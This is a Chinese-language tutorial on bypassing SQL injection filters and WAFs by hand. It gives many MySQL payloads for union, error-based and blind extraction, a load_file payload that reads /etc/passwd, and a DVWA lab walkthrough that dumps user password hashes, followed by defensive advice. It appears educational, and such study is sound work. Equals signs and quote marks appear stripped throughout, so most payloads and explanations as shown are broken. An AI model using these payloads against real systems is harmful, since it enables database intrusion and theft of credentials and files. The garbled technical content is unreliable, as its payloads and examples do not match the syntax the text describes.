手工注入绕过过滤实战:从原理到高级技巧
1. 项目概述手工注入的艺术与挑战在网络安全领域SQL注入始终是Web应用最古老、最顽固的漏洞之一。尽管防御技术不断演进但攻击者的手法也在持续精进。今天我们不谈自动化工具而是聚焦于“手工注入”这门手艺特别是如何绕过开发者精心设置的各种过滤规则。这就像一场攻防博弈防守方筑起高墙而攻击方则在寻找墙上最细微的缝隙。手工注入的魅力在于它要求你真正理解SQL语言的语法、数据库的特性以及应用程序的逻辑而不是简单地点击一个“扫描”按钮。对于渗透测试人员和安全研究员而言掌握绕过过滤的手工注入技巧不仅是发现深层漏洞的关键更是理解防御机制、提升安全设计思维的必经之路。这篇文章将深入探讨几种巧妙绕过常见过滤规则的手工注入手法。我们会从最基础的过滤绕过逻辑讲起逐步深入到利用数据库特性、编码技巧乃至应用程序逻辑缺陷的高级方法。无论你是正在学习Web安全的初学者还是希望精进手工测试技巧的从业者这些内容都将为你提供直接的、可复现的攻击思路和防御启示。我们将结合具体的场景和Payload拆解每一个步骤背后的原理让你不仅知道“怎么做”更明白“为什么能这么做”。2. 核心过滤机制与绕过思路解析在开始具体攻击之前我们必须先理解防守方通常如何布置防线。常见的SQL注入过滤机制可以归结为几个核心层面关键字过滤、特殊字符过滤、输入类型验证以及WAFWeb应用防火墙的规则匹配。手工注入的“绕过”艺术本质上就是寻找这些过滤逻辑的盲区或利用其处理方式的特性。2.1 常见过滤类型及其逻辑缺陷1. 黑名单关键字过滤这是最直观的防御方式。开发者会维护一个敏感词列表如SELECT,UNION,AND,OR,INSERT,DROP,,--,#等一旦用户输入中包含这些词便进行拦截、替换或删除。逻辑缺陷简单的字符串匹配或替换很容易被绕过。例如如果过滤程序将SELECT替换为空那么输入SELSELECTECT在经过替换后中间的SELECT被移除两端的字符恰好又组合成了新的SELECT。这就是经典的“双写绕过”。绕过思路利用大小写变异SeLeCt、内联注释分割SEL/**/ECT、特殊字符插入SEL%0bECT或编码如URL编码、十六进制来打乱关键字的连续形态使其逃过简单的正则匹配。2. 特殊字符如空格、引号、注释符过滤空格用于分割SQL语句中的关键字单引号用于界定字符串注释符用于终止查询。过滤它们能有效破坏许多注入Payload的结构。逻辑缺陷数据库引擎对语句分隔符的理解可能比过滤程序更灵活。在MySQL中除了空格 Tab键%09、换行符%0a、回车符%0c以及一些非常规空白符如%a0即不换行空格都可以起到分隔作用。绕过思路用其他空白符或可被数据库忽略的字符替代空格。对于引号可以考虑使用十六进制编码字符串或者利用数字型注入无需引号的特性。对于注释符可以尝试使用;%00空字节或平衡引号来闭合语句。3. 输入类型强制转换对于期望是数字的参数如id1应用程序可能会强制将输入转换为整数非数字部分会被丢弃。逻辑缺陷转换可能发生在过滤之后。如果过滤程序先检查输入中是否有敏感词然后再进行类型转换那么一个像1 AND 11的输入过滤程序可能因为检测到AND而拦截。但如果输入是1AND11过滤程序可能放过而后续的类型转换将AND11当作非数字部分丢弃最终执行的仍是id1。这本身不构成注入但揭示了逻辑顺序的重要性。真正的绕过在于利用转换函数本身的特性例如在某些环境下1被转换成整数时可能变成1而单引号被“吃掉”从而可能影响后续的查询解析。绕过思路仔细分析数据处理流程。确认过滤和转换的顺序。尝试使用运算表达式如id01或利用数据库的隐式类型转换。4. WAF规则匹配WAF通常基于正则表达式规则集来拦截恶意请求。这些规则试图匹配已知的攻击模式。逻辑缺陷正则表达式可能无法覆盖所有语法变体或者对请求的解析与后端应用服务器/数据库存在差异。例如WAF可能严格匹配union select但数据库可能接受union%a0select。WAF可能解析URL编码一次而应用服务器可能解码两次。绕过思路这是手工注入最富技巧性的部分。核心思想是构造一个对WAF规则引擎来说是“无害”或“不匹配”的字符串但对后端数据库来说却是有效的SQL语句。这包括特殊字符插入在关键字中插入WAF忽略但数据库容忍的字符如%0b垂直制表符、%a0。注释符混淆利用/**/注释符分割关键字甚至结合非常规字符如union/*%aa*/select利用中文字符特性。参数污染提交多个同名参数如?id1id2不同服务器组件WAF、中间件、应用可能选取不同的值。非常规HTTP方法/头部尝试使用POST代替GET或添加特殊的Content-Type头可能触发WAF不同的处理逻辑。编码混淆多次URL编码、Unicode编码、HTML实体编码等利用解码层间的差异。注意所有绕过手法的前提是存在一个可被利用的SQL注入漏洞。绕过过滤只是突破了防御层的检测最终Payload必须在数据库层面能够正确解析并执行。因此在尝试任何绕过技巧前必须首先通过报错、布尔盲注、时间盲注等方式确认漏洞的存在。2.2 手工注入的核心思维模式手工注入不同于工具扫描它要求测试者具备系统性的思维信息收集首先判断注入点类型数字型、字符型、搜索型等、使用的数据库MySQL、MSSQL、PostgreSQL等、可能的错误回显方式。探测过滤提交一些基础的测试Payload如、1 AND 11、1 AND 12观察响应。是被拦截、报错、还是正常返回但结果异常这步用于摸清过滤规则的强度和类型。逐步构造从最简单的语句开始逐步添加复杂度。例如先绕过空格过滤再尝试引入关键字最后组合成完整的UNION SELECT查询。每步都验证是否被过滤以及数据库是否执行。利用特性深刻理解目标数据库的独有语法和特性。例如MySQL的/*!50110 ... */条件注释、变量、反引号的使用MSSQL的WAITFOR DELAY、EXECPostgreSQL的||字符串连接、pg_sleep()。逻辑替代当直接路径被阻断时思考替代方案。如果UNION SELECT被过滤是否可以使用基于错误的注入extractvalue,updatexml、布尔盲注或时间盲注如果substring被过滤是否可以用mid,left,right或like配合%通配符3. 经典绕过手法实战详解理论需要实践来巩固。下面我们将通过几个典型的场景详细拆解如何一步步构造绕过过滤的Payload。我们将假设一个简单的漏洞点/product.php?id1后端数据库为MySQL。3.1 绕过空格与关键字过滤场景应用程序过滤了空格和union,select等关键字。第一步确认漏洞与基础绕过提交id1如果报错说明可能是字符型注入且单引号未被完全过滤。尝试闭合引号并注释id1--。如果--或#被过滤尝试使用%23URL编码的#或;%00。如果空格被过滤用/**/代替id1/**/AND/**/11。观察页面是否与id1/**/AND/**/12不同以确认布尔逻辑是否生效。第二步绕过union select假设union和select被作为整体字符串匹配过滤。大小写混合UnIoN SeLeCt。简单的正则可能对大小写敏感。内联注释分割union/**/select。确保/**/未被过滤。可以尝试更复杂的注释如union/*random*/select。插入特殊空白符这是从TSRC挑战赛中获得的灵感。尝试union%a0select%a0是不换行空格。也可以尝试union%0bselect、union%0cselect换页符。双写绕过如果过滤是替换为空尝试uunionnion sselectelect。结合注释与特殊字符高级手法如union/*%aa*/select。这里%aa是一个非法/特殊的UTF-8字节可能被WAF忽略但被MySQL的解析器与注释结合后忽略。构造一个完整的绕过示例 假设原始查询是SELECT name, price FROM products WHERE id $id我们的目标是联合查询出数据库用户和版本。 经过fuzz测试发现union、select、空格被过滤但/**/和%a0可用且单引号可用--被过滤但%23可用。我们可以构造/product.php?id1/**/UnIoN%a0SeLeCt%a0user(),version()%231闭合原查询的前半部分字符串。/**/代替空格分割1和UnIoN。UnIoN%a0SeLeCt大小写混合并用%a0分割union和select可能绕过基于“union select”连续字符串的过滤。%a0再次作为空格分割SeLeCt和字段列表。user(),version()要查询的信息。%23URL编码的#用于注释掉原查询剩余的部分如后面的单引号和LIMIT等。实操心得绕过过滤是一个“试错”过程。准备一个包含各种特殊字符%09,%0a,%0b,%0c,%0d,%a0,%20和混淆方式/**/,/*!*/, 大小写双写的Fuzz字典非常重要。使用Burp Suite的Intruder或自定义脚本进行批量测试能极大提高效率。3.2 绕过函数名过滤与盲注场景version()、database()、load_file()等函数名被检测但注入点存在适合进行盲注。绕过函数名过滤反引号包裹在MySQL中函数名可以用反引号包裹。version()被过滤但version()可能不被识别为敏感函数名。Payloadid1 andversion() like 5%%23特殊字符分割在函数名和括号间插入WAF忽略的字符如version%0b()。十六进制编码函数名将函数名转换为十六进制。version()的十六进制是0x76657273696f6e2829。但直接这样用不行需要配合能够执行动态SQL的上下文在普通注入点较难直接应用但在一些特殊场景如SELECT后的字段名可能有用。进行盲注 当无法直接回显数据时我们需要基于布尔或时间的盲注。布尔盲注通过页面内容的不同真/假来推断数据。目标获取当前数据库名的第一个字符。假设substring和ascii被过滤。绕过方案使用mid()函数代替substring()使用ord()函数代替ascii()。Payloadid1 and ord(mid(database(),1,1))100%23解释mid(database(),1,1)获取数据库名第一个字符。ord()获取其ASCII码。通过不断调整100为xxx使用二分法猜解出准确的ASCII码。时间盲注通过页面响应时间的差异来推断。目标判断数据库名长度。假设sleep()被过滤。绕过方案使用benchmark()函数或笛卡尔积制造延迟。benchmark(count, expr)重复执行exprcount次消耗时间。Payloadid1 and if(length(database())8, benchmark(5000000, md5(test)), 1)%23解释如果数据库名长度为8则执行耗时的benchmark操作导致页面响应明显变慢。高级盲注技巧利用load_file和十六进制即使load_file被过滤用反引号可能绕过load_file()。 我们可以尝试读取文件但需要知道绝对路径。假设我们想探测/etc/passwd是否存在并读取部分内容。探测文件是否存在id1 and (selectload_file(0x2f6574632f706173737764) is not null)%230x2f6574632f706173737764是/etc/passwd的十六进制。如果存在进行盲注读取内容。这非常耗时但原理是逐字符比较id1 and (select ord(mid(convert(load_file(0x2f6574632f706173737764) using latin1),1,1))100)%23convert(... using latin1)确保文件内容被当作字符串处理。然后使用mid()和ord()进行逐字符的布尔盲注。3.3 绕过特定符号过滤如MyBatis中的#场景在MyBatis框架中#{}是预编译占位符能有效防止SQL注入。但有时开发错误地使用了${}进行拼接或者我们需要在已使用#{}的字段中寻找绕过。核心问题#符号在URL中通常表示锚点不会被发送到服务器。在MyBatis中#用于标识预编译参数。如果应用程序在#处理上存在逻辑问题可能被绕过。绕过思路主要针对错误使用${}的情况或框架/过滤器解析异常URL编码将#编码为%23。如果服务器端对参数解码后MyBatis或过滤器未能正确识别%23即为#可能导致预编译失效。但现代框架通常能正确处理。利用参数解析顺序更可能的情况是攻击发生在使用${}拼接的场合。例如SELECT * FROM users WHERE id ${id}。这里${id}会直接拼接进SQL语句。构造闭合与注释此时注入就变成了经典的手工注入。例如传入id 1 OR 11 --最终语句为SELECT * FROM users WHERE id 1 OR 11 --注释掉了后续可能存在的条件。寻找二次注入点如果用户输入先被存入数据库经过转义所以#被安全存储之后又从数据库中被读出并直接拼接到新的SQL语句中使用${}那么存储时的#在第二次拼接时就会起作用。例如用户注册时用户名为admin#存入后是admin#。当后续有一个根据用户名查询的语句使用${}拼接时就可能造成注入SELECT * FROM logs WHERE username admin# AND ...#注释掉了后面的条件。重要提示MyBatis的#{}预编译机制本身是安全的绕过#极其困难且通常意味着应用程序存在其他更严重的配置或使用错误。上述绕过更多是针对${}误用或应用程序整体逻辑缺陷。切勿将#的绕过视为普遍可行的方法。4. 手工注入全流程实战以DVWA靶场为例让我们在一个受控环境DVWA靶场安全级别设为Low或Medium中完整演练一次包含过滤绕过的联合查询注入。目标获取DVWA数据库中users表的所有用户名和密码。环境DVWA “SQL Injection” 模块安全级别 Medium。Medium级别使用了mysql_real_escape_string()对输入进行转义并限制了错误回显。4.1 第一步信息收集与漏洞确认输入点一个用户ID输入框表单提交POST请求。测试提交1正常。提交1。观察在Low级别会报错。在Medium级别页面可能只是返回空或错误没有详细SQL错误。这说明可能存在过滤或转义。测试转义提交1\。如果转义生效单引号被转义为\查询可能变成... id1\导致语法错误。如果页面依然正常说明可能不是简单的字符转义或者存在数字型注入。测试数字型注入提交1 AND 11和1 AND 12。观察页面内容是否相同。在Medium级别输入可能被转换为整数intval导致AND被丢弃两个请求返回相同。我们需要用其他方式。发现在Medium级别DVWA对输入使用了mysql_real_escape_string()并进行了intval转换。这意味着字符型注入很难但如果是数字型参数intval只取数字部分后面的Payload会被丢弃。我们需要重新审视。调整思路DVWA的Medium级别SQL注入其漏洞点在于id参数虽然是数字但代码可能类似$id $_POST[id];然后直接拼接intval转换可能发生在别处或者没有实际上查看源码可知Medium级别用了$id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id);进行转义但没有进行intval转换。这意味着1 AND 11会被转义为1 AND 11空格和关键字没有被过滤。所以绕过重点不在空格和关键字而在于没有错误回显我们需要使用盲注或联合查询但需要知道列数。4.2 第二步确定列数Order By绕过联合查询需要知道前一个SELECT语句的列数。通常使用ORDER BY子句递增列索引来探测1 ORDER BY 1#,1 ORDER BY 2#... 直到报错。在Medium级别由于是POST请求且错误不回显我们需要基于布尔逻辑或时间延迟来判断。布尔逻辑提交1 AND (SELECT 1) UNION SELECT 1,2#这类Payload不可行因为错误不回显我们不知道何时成功。时间盲注探测列数可以尝试1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schemaDATABASE())1 AND SLEEP(5)#但这效率太低。更有效的方法即使没有错误回显ORDER BY超出列数通常会导致页面内容为空或排序异常而非SQL错误。我们观察页面变化。Payload:id1 ORDER BY 1#SubmitSubmit需要URL编码#编码为%23提交后页面正常显示ID为1的用户Admin。尝试id1 ORDER BY 5#SubmitSubmit。如果页面显示异常比如显示的用户变了、空了则说明列数小于5。逐步缩小范围。通过测试发现ORDER BY 3时页面可能还正常ORDER BY 4时页面布局可能错乱或显示不同内容说明原查询有2列或3列ORDER BY n对n大于列数时行为不确定可能报错也可能返回空集导致页面变化。在DVWA中通常原查询是2列first name, surname。确认技巧使用联合查询本身来探测。构造1 UNION SELECT NULL, NULL#如果页面正常显示了一些数据可能是我们注入的NULL说明列数为2。如果语法错误页面异常则不是2列。尝试1 UNION SELECT NULL, NULL, NULL#。在DVWA Medium中测试发现列数为2。4.3 第三步实施联合查询注入已知列数为2我们可以进行联合查询了。构造基础Union语句-1 UNION SELECT 1,2#将id设为-1使得前一个查询不返回结果从而页面显示我们联合查询的结果数字1和2。这能告诉我们哪个字段位置会回显在页面上。提交后页面可能会在原本显示“First name”和“Surname”的地方显示“1”和“2”。记下回显位置。获取数据库信息利用回显位置。假设第1、2个位置都回显。我们查询数据库版本和当前数据库名-1 UNION SELECT version(), database()#提交后页面应显示MySQL版本和数据库名如dvwa。获取表名从information_schema.tables中查询。-1 UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schemadatabase()#这可能会返回多个表但页面通常只显示第一行。我们需要一次获取一个或者使用group_concat()将所有表名合并到一列。-1 UNION SELECT group_concat(table_name), NULL FROM information_schema.tables WHERE table_schemadatabase()#提交后应能看到类似guestbook,users的结果。获取列名针对感兴趣的表如users查询其列名。-1 UNION SELECT group_concat(column_name), NULL FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers#注意这里的users是字符串需要被正确转义。因为我们在注入点内所以直接写单引号即可。提交后应看到类似user_id,first_name,last_name,user,password,avatar的结果。提取数据最后从users表中提取用户名和密码。-1 UNION SELECT user, password FROM users#提交后页面会列出所有用户名和经过MD5哈希的密码。在整个过程中DVWA Medium级别并没有过滤关键字或空格所以不需要特别的绕过技巧。真正的挑战在于没有错误回显迫使我们必须使用盲注逻辑通过页面内容差异或成功的联合查询来获取信息。这体现了手工注入中“信息推断”的重要性。4.4 第四步模拟高级过滤与绕过假设一个更严苛的环境不仅没有错误回显还过滤了union、select、空格和#注释符。给定条件注入点数字型id1过滤规则移除或拦截union、select、空格、--、#目标获取version()我们的绕过策略绕过空格使用/**/或%a0。假设/**/可用。绕过union select使用大小写混合和特殊空白符。假设UnIoN和SeLeCt作为整体仍被过滤。尝试uni%a0on和sel%a0ect。但%a0是URL编码需要确保输入点能正确解码。或者尝试uni/**/on和sel/**/ect但过滤程序可能识别union和select的子串。更保险的方法是使用完全不同的方法比如基于错误的注入。转向报错注入如果updatexml()或extractvalue()函数可用且不过滤。Payload:id1 and updatexml(1, concat(0x7e, version()), 1)这里需要空格我们用/**/代替id1/**/and/**/updatexml(1,concat(0x7e,version()),1)concat(0x7e,version())会产生~5.7.36这样的字符串updatexml第二个参数需要是XPath格式~是非法字符从而引发错误并回显我们的数据。如果version被过滤用反引号version()。最终Payloadid1/**/and/**/updatexml(1,concat(0x7e,version()),1)如果报错函数也被过滤则只能使用时间盲注。使用benchmark()或sleep()如果没被过滤。Payload:id1/**/and/**/if(ascii(substring(version(),1,1))53, sleep(5), 0)这里substring和ascii也可能被过滤需要替换为mid()和ord()。如果sleep被过滤用benchmark(10000000, md5(test))。最终Payloadid1/**/and/**/if(ord(mid(version(),1,1))53, benchmark(5000000,md5(test)), 0)这个例子展示了当直接路径被封锁时如何灵活切换注入技术联合查询 - 报错注入 - 时间盲注并组合使用各种绕过技巧注释符代替空格、反引号绕过函数名过滤、使用替代函数。5. 防御视角与总结反思作为一名安全从业者了解攻击手法的最终目的是为了构建更坚固的防御。从这些绕过技巧中我们可以提炼出以下防御原则使用参数化查询预编译语句这是唯一从根本上杜绝SQL注入的方法。无论是#{}还是PreparedStatement确保用户输入永远作为数据参数而非SQL指令的一部分。实施最小权限原则数据库连接账户只赋予应用所需的最小权限如只有SELECT权限无DROP,FILE等限制攻击者在漏洞利用后的破坏范围。严格的输入验证在参数化查询的基础上增加白名单验证。例如对于ID参数确保其为整数。对于分类参数确保其值在预设的列表中。验证应在业务逻辑层进行。避免动态拼接严禁在代码中通过字符串拼接生成SQL语句。即使是存储过程也应使用参数。安全的错误处理自定义统一的错误页面避免将数据库错误详情如SQL语句、错误代码直接返回给用户。记录详细的错误日志到后端系统供排查。WAF作为补充而非核心WAF可以拦截大量自动化攻击和已知攻击模式是纵深防御的一环。但不能依赖WAF作为唯一防线因为总有被绕过的可能。WAF规则需要持续更新和维护。代码审计与安全测试定期进行代码审计查找潜在的SQL拼接点。进行渗透测试模拟攻击者的绕过手法检验防御措施的有效性。框架与组件更新保持使用的框架如MyBatis、Hibernate、数据库驱动和WAF规则库处于最新状态以获取已知漏洞的修复。手工注入的绕过是一场永无止境的猫鼠游戏。今天有效的绕过技巧明天可能就被加入WAF规则库。但这场游戏的核心并非某个具体的Payload而是对SQL语言、数据库引擎、网络协议和应用逻辑的深刻理解。对于防御者而言坚守“参数化查询”这一铁律并辅以纵深防御策略是应对千变万化攻击手法的最可靠基石。对于学习者而言在合法的靶场环境中不断练习、思考和总结是提升安全技能的最佳途径。记住所有的技术都应在法律和道德允许的范围内使用我们的目标是让网络空间更加安全。
